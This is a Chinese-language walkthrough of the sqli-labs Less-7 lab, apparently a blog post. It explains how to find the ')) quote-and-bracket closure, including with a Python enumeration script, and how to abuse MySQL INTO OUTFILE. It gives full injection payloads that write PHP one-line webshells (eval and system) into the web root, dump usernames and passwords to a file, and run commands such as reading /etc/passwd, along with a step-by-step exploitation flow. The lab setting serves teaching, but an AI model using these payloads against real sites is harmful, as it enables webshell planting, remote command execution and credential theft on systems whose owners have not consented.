Less-7 GET-Dump into outfile-String

GET-导出到文件-字符串

题目提示了是要outfile传文件,就是传一个马上去,这里用的php一句话木马。

1. 如何检测闭合方式 '))

方法1:观察报错信息(最直接)

sql 复制代码
-- 测试1:单引号
?id=1'
返回:You have an error in your SQL syntax
分析:语法错误,但看不到具体报错(被注释掉了)

-- 测试2:单引号+右括号
?id=1')
返回:You have an error in your SQL syntax
分析:还是错误

-- 测试3:单引号+双右括号
?id=1'))
返回:You have an error in your SQL syntax
分析:还是错误(因为后面还有 LIMIT)

-- 测试4:完整闭合+注释
?id=1')) --+
返回:You are in.... Use outfile......
✅ 成功!说明闭合方式是 '))

方法2:逐步测试(推荐新手)

sql 复制代码
-- Step 1: 测试单引号
?id=1'
错误 → 说明有引号

-- Step 2: 尝试闭合单引号
?id=1' --+
错误 → 说明还有其他结构

-- Step 3: 尝试单引号+括号
?id=1') --+
错误 → 说明不止一个括号

-- Step 4: 尝试单引号+双括号
?id=1')) --+
成功 ✅ → 确认闭合方式是 '))

-- Step 5: 逻辑验证
?id=1')) and '1'='1' --+
成功 ✅

?id=1')) and '1'='2' --+
失败 ❌

确认无误!

第5步逻辑验证至关重要,因为测试的时候发现双引号也能返回you are in 的页面,会误导,但是逻辑验证加上and '1'='1' 后语法错误,说明双引号的方式不行。

使用 ")) 闭合(错误但不报错)
sql 复制代码
输入: ?id=1")) and "1"="1" --+

拼接后的SQL:
SELECT * FROM users WHERE id=(('1")) and "1"="1" --+')) LIMIT 0,1

注释后:
SELECT * FROM users WHERE id=(('1")) and "1"="1"

MySQL的解析过程:
WHERE id = ( ( '1")) and "1"="1"' ) )
             ↑ ↑_____________________↑ ↑
             ( 整个字符串从这里开始  )
             
MySQL看到:
- 第一个 ( 
- 第二个 (
- 单引号 ' 开始字符串
- 字符串内容:1")) and "1"="1" 直到找到下一个单引号
- 但是!找不到配对的单引号(被--+注释了)
- MySQL容错:把整个后续内容当作字符串

等价于:
WHERE id = '1")) and "1"="1" --+'))'
           ↑_______________________↑
           整个被当作字符串

sql把 '1"xxxxxxxx' 理解为一个字符串,自动取第一个值匹配,所以还是能显示you are in 的"仿佛"是对了的信号,但是一旦加上and '1'='1' 就露馅了,发现and没有执行。因为and的内容被视为字符串,而又被截断了只取1,所以and 1=100都无所谓,还是会显示you are in 这在逻辑上是错误的。正确的 ?id=1')) and '1'='2' --+ 因为1=2的条件是flase,页面会显示false,说明mysql运行了and '1'='2' 的判断,证明 ')) 的闭合才是正确的。

sql 复制代码
?id=1"))--+ 
?id=1")) and "1"="1" --+ 
?id=1")) and "1"="2" --+ 
?id=1')) and '1'='1' --+ 
You are in.... Use outfile......

?id=1')) and '1'='2' --+ 
You have an error in your SQL syntax

直接连上数据库测试结果也说明了")) 结构后面的and压根不会执行。

如果mysql执行了and,and条件为flase应该如下图第二条命令所示不会输出内容。

MySQL的字符串隐式转换(关键点)

MySQL的类型转换规则:

sql 复制代码
-- 规则:当比较不同类型时,MySQL会尝试转换
-- 字符串转数字:从左到右读取,直到遇到非数字字符

SELECT '1abc' = 1;        -- True  (字符串'1abc'被转为数字1)
SELECT '123abc' = 123;    -- True  (字符串'123abc'被转为数字123)
SELECT 'abc' = 0;         -- True  (字符串'abc'被转为数字0)
SELECT '1")) and "1"="1"' = 1;  -- True! (字符串被转为数字1)

方法3:分析源码结构

php 复制代码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
                                  ↑↑ ↑  ↑ ↑↑
                                  两个左括号    两个右括号
                                     单引号    单引号

结构分析:

复制代码
WHERE id=(('$id'))
         ││ ↑  ││
         ││用户输入││
         ││      ││
         │└──────┘│
         └────────┘
         
需要闭合:' )) 

方法4:暴力枚举(自动化)

python 复制代码
import requests

url = "http://192.168.224.1:8887/Less-7/?id="
success_flag = "You are in"

closures = ["'", '"', "')", '")', "'))", '"))']

print("[*] 检测闭合方式(改进版)\n")

for closure in closures:
    # 构造True和False两个条件
    if '"' in closure:
        payload_true = f'1{closure} and "1"="1" --+'
        payload_false = f'1{closure} and "1"="2" --+'
    else:
        payload_true = f"1{closure} and '1'='1' --+"
        payload_false = f"1{closure} and '1'='2' --+"
    
    # 测试True条件
    resp_true = requests.get(url + payload_true)
    has_true = success_flag in resp_true.text
    
    # 测试False条件  
    resp_false = requests.get(url + payload_false)
    has_false = success_flag in resp_false.text
    
    print(f"测试 {closure:5s}:")
    print(f"  True条件:  {'✅ 成功' if has_true else '❌ 失败'}")
    print(f"  False条件: {'✅ 成功' if has_false else '❌ 失败'}")
    
    # 判断逻辑
    if has_true and not has_false:
        print(f"  ✅✅✅ 正确闭合!逻辑判断生效!\n")
        print(f"[+] 最终结果: {closure}")
        break
    elif has_true and has_false:
        print(f"  ⚠️  疑似错误闭合(True和False都成功,逻辑未生效)\n")
    else:
        print(f"  ❌ 闭合失败\n")

特别添加了逻辑验证的功能,避免双引号的干扰。避免双引号的干扰,因为and后面的命令,我们是想让它执行了,注入恶意代码取爆库的,如果and不执行,只是显示you are in的虚假反馈,爆到天昏地暗也出不来。

2. 如何使用 OUTFILE 写文件

OUTFILE 基础知识

INTO OUTFILE 是MySQL的功能,可以将查询结果写入服务器文件。

语法:

sql 复制代码
SELECT ... INTO OUTFILE '/path/to/file.txt'

限制条件:

  1. ✅ 需要 FILE 权限
  2. ✅ 需要知道网站绝对路径
  3. ✅ 目标目录必须可写
  4. ✅ 文件不能已存在
  5. secure_file_priv 设置允许

Less-7 的 OUTFILE 注入

Step 1: 确认可以使用 OUTFILE
sql 复制代码
-- 测试基本写入
?id=1')) union select 1,2,3 into outfile '/tmp/test.txt' --+

-- 如果成功,会在 /tmp/ 目录创建 test.txt
-- 内容:1    2    3

当然,一般来说tmp目录是从网页访问不到了,除非能够目录遍历。所以这个文件放哪里的位置就要猜一下了。

Step 2: 获取网站路径

方法1:报错获取路径(Less-7不行,因为报错被屏蔽了)

方法2:常见路径猜测

bash 复制代码
# Linux常见路径
/var/www/html/
/var/www/html/sqli-labs/Less-7/
/usr/share/nginx/html/
/home/www/

# Windows常见路径
C:/wamp/www/
C:/xampp/htdocs/
D:/www/

# SQLI-Labs 默认路径(基于你的URL)
/var/www/html/Less-7/

方法3:使用@@datadir或@@basedir

sql 复制代码
?id=-1')) union select 1,@@datadir,3 --+
?id=-1')) union select 1,@@basedir,3 --+

但Less-7不显示数据,所以这个方法也不行。

方法4:基于URL推测

复制代码
URL: http://192.168.224.1:8887/Less-7/?id=1
可能的路径: /var/www/html/Less-7/

写入的目录一定要有写的权限,可以看到一开始注入到 /tmp 目录的时候是成功的,但是注入 Less-7 目录不成功。这是因为使用网页端的漏洞时,我们当前的用户一般是mysql或者 www-data,而 Less-7 的用户是 root,以www-data 的权限是不能向 Less-7 写入文件的。

要想写入文件有两个思路,一个是提升权限或改变目录权限,从www-data变成root,或者改变Less-7目录的权限,让其变为777,全员可读可写可执行。二是在html文件夹下再尝试找一个类似 tmp 目录那样的目录来写入。第一个方法实现比较困难,一般需要webShell,而我们现在就是卡在webShell的关卡上。如果不用webshell,有一些特定漏洞是可以利用的,但是这样"好用"的漏洞非常少,所以基本不考虑第一种方法。

Step 3: 写入 WebShell

PHP一句话木马:

php 复制代码
<?php @eval($_POST['cmd']); ?>

完整payload:

sql 复制代码
-- 注意:路径需要根据实际情况修改
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile '/var/tmp/../www/shell.php' --+

URL编码版本:

复制代码
?id=1'))%20union%20select%201,'<?php%20@eval($_POST["cmd"]);%20?>',3%20into%20outfile%20'/var/www/html/sqli-labs/Less-7/shell.php'%20--+
Step 4: 访问 WebShell

这里靶机的版本不同还有不同的权限,我这个www文件夹都没有写入的权限。只有 /tmp/var/tmp 这两个目录可以写,但是没有目录遍历或者文件包含相关的漏洞。sql漏洞中还有提权相关的洞,不过目前没有学到,就"作弊"把shell.php文件从docker后台复制到less7目录下,模拟Less7目录可写的情况。

复制代码
http://192.168.224.1:8887/Less-7/shell.php

使用工具(如蚁剑、菜刀)连接,密码是 cmd



详细示例

示例1:写入简单的PHP文件
sql 复制代码
-- 写入一个显示phpinfo的文件
?id=1')) union select 1,'<?php phpinfo(); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/info.php' --+

-- 访问
http://192.168.224.1:8887/Less-7/info.php
示例2:写入HTML文件
sql 复制代码
-- 写入HTML
?id=1')) union select 1,'<h1>Hacked by You</h1>',3 into outfile '/var/www/html/sqli-labs/Less-7/hacked.html' --+

-- 访问
http://192.168.224.1:8887/Less-7/hacked.html
示例3:写入包含数据库信息的文件
sql 复制代码
-- 写入数据库名到文件
?id=1')) union select 1,database(),3 into outfile '/var/www/html/sqli-labs/Less-7/db.txt' --+

-- 写入所有用户名和密码
?id=1')) union select 1,group_concat(username,0x3a,password),3 from users into outfile '/var/www/html/sqli-labs/Less-7/users.txt' --+
示例4:写入更复杂的WebShell
sql 复制代码
-- 功能更强的一句话
?id=1')) union select 1,'<?php system($_GET["c"]); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/cmd.php' --+

-- 使用(执行系统命令)
http://192.168.224.1:8887/Less-7/cmd.php?c=whoami
http://192.168.224.1:8887/Less-7/cmd.php?c=ls -la
http://192.168.224.1:8887/Less-7/cmd.php?c=cat /etc/passwd

3. OUTFILE 的限制和绕过

常见限制

限制1:secure_file_priv

检查配置:

sql 复制代码
?id=-1')) union select 1,@@secure_file_priv,3 --+

可能的值:

  • NULL:禁止导入导出
  • /tmp/:只能在这个目录
  • 空字符串:任意目录

绕过: 如果限制了目录,就只能写到允许的目录

限制2:文件已存在

错误: ERROR 1086: File '/path/file.txt' already exists

绕过: 更改文件名

sql 复制代码
?id=1')) union select 1,2,3 into outfile '/path/file2.txt' --+
?id=1')) union select 1,2,3 into outfile '/path/file_20250101.txt' --+
限制3:没有写权限

绕过: 找到可写目录

bash 复制代码
# 常见可写目录
/tmp/
/var/tmp/
/dev/shm/

替代方法:INTO DUMPFILE

区别:

  • INTO OUTFILE:会添加换行符和转义字符
  • INTO DUMPFILE:原样写入,适合二进制文件
sql 复制代码
-- 写入二进制WebShell
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into dumpfile '/var/www/html/sqli-labs/Less-7/shell.php' --+

4. 完整的 Less-7 利用流程

sql 复制代码
-- Step 1: 确认注入点和闭合
?id=1')) and '1'='1' --+
✅ You are in....

-- Step 2: 确认列数
?id=1')) order by 3 --+
✅ 成功

?id=1')) order by 4 --+
❌ 错误(3列)

-- Step 3: 确认显示位(Less-7不显示,所以跳过)

-- Step 4: 尝试写文件(猜测路径)
?id=1')) union select 1,'<?php phpinfo(); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/test.php' --+

-- Step 5: 访问测试
http://192.168.224.1:8887/Less-7/test.php
(如果显示phpinfo,说明路径正确)

-- Step 6: 写入WebShell
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/shell.php' --+

-- Step 7: 连接WebShell
使用蚁剑或菜刀连接
URL: http://192.168.224.1:8887/Less-7/shell.php
密码: cmd

5. 实战技巧

技巧1:路径探测

sql 复制代码
-- 写入到不同路径,看哪个成功
?id=1')) union select 1,2,3 into outfile '/var/www/html/test1.txt' --+
?id=1')) union select 1,2,3 into outfile '/var/www/html/sqli-labs/test2.txt' --+
?id=1')) union select 1,2,3 into outfile '/var/www/html/sqli-labs/Less-7/test3.txt' --+

技巧2:利用错误回显(如果有)

如果页面显示MySQL错误:

sql 复制代码
?id=1')) union select 1,2,3 into outfile '/nonexistent/path/file.txt' --+

错误:Can't create/write to file '/nonexistent/path/file.txt'
分析:说明OUTFILE功能可用,只是路径不对

技巧3:写入日志文件位置

sql 复制代码
-- 查看错误日志位置
?id=-1')) union select 1,@@log_error,3 into outfile '/tmp/log_path.txt' --+

-- 查看数据目录
?id=-1')) union select 1,@@datadir,3 into outfile '/tmp/datadir.txt' --+

总结

Less-7 的特点

特征 说明
SQL结构 WHERE id=(('$id'))
闭合方式 '))
报错显示 ❌ 不显示详细错误
数据显示 ❌ 不显示数据
提示 ✅ "Use outfile"
核心技术 INTO OUTFILE 写文件

检测 ')) 的方法

  1. ✅ 逐步测试:'')'))')) --+
  2. ✅ 逻辑验证:1')) and '1'='1' --+ vs 1')) and '1'='2' --+
  3. ✅ 自动化枚举

OUTFILE 利用

sql 复制代码
-- 基本语法
?id=1')) union select 1,'内容',3 into outfile '路径' --+

-- 写WebShell
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/shell.php' --+

关键点

  1. ⚠️ 需要知道网站绝对路径
  2. ⚠️ 需要目录可写权限
  3. ⚠️ 文件不能已存在
  4. ⚠️ 注意 secure_file_priv 限制

Less-7 是学习文件写入攻击的经典题目!🎯

相关推荐
工程师老罗1 小时前
如何在Android工程中配置NDK版本
android
崔庆才丨静觅1 小时前
hCaptcha 验证码图像识别 API 对接教程
前端
passerby60612 小时前
完成前端时间处理的另一块版图
前端·github·web components
Hello.Reader2 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
掘了2 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
崔庆才丨静觅2 小时前
实用免费的 Short URL 短链接 API 对接说明
前端
崔庆才丨静觅3 小时前
5分钟快速搭建 AI 平台并用它赚钱!
前端
智驱力人工智能3 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
盟接之桥3 小时前
盟接之桥说制造:引流品 × 利润品,全球电商平台高效产品组合策略(供讨论)
大数据·linux·服务器·网络·人工智能·制造
崔庆才丨静觅3 小时前
比官方便宜一半以上!Midjourney API 申请及使用
前端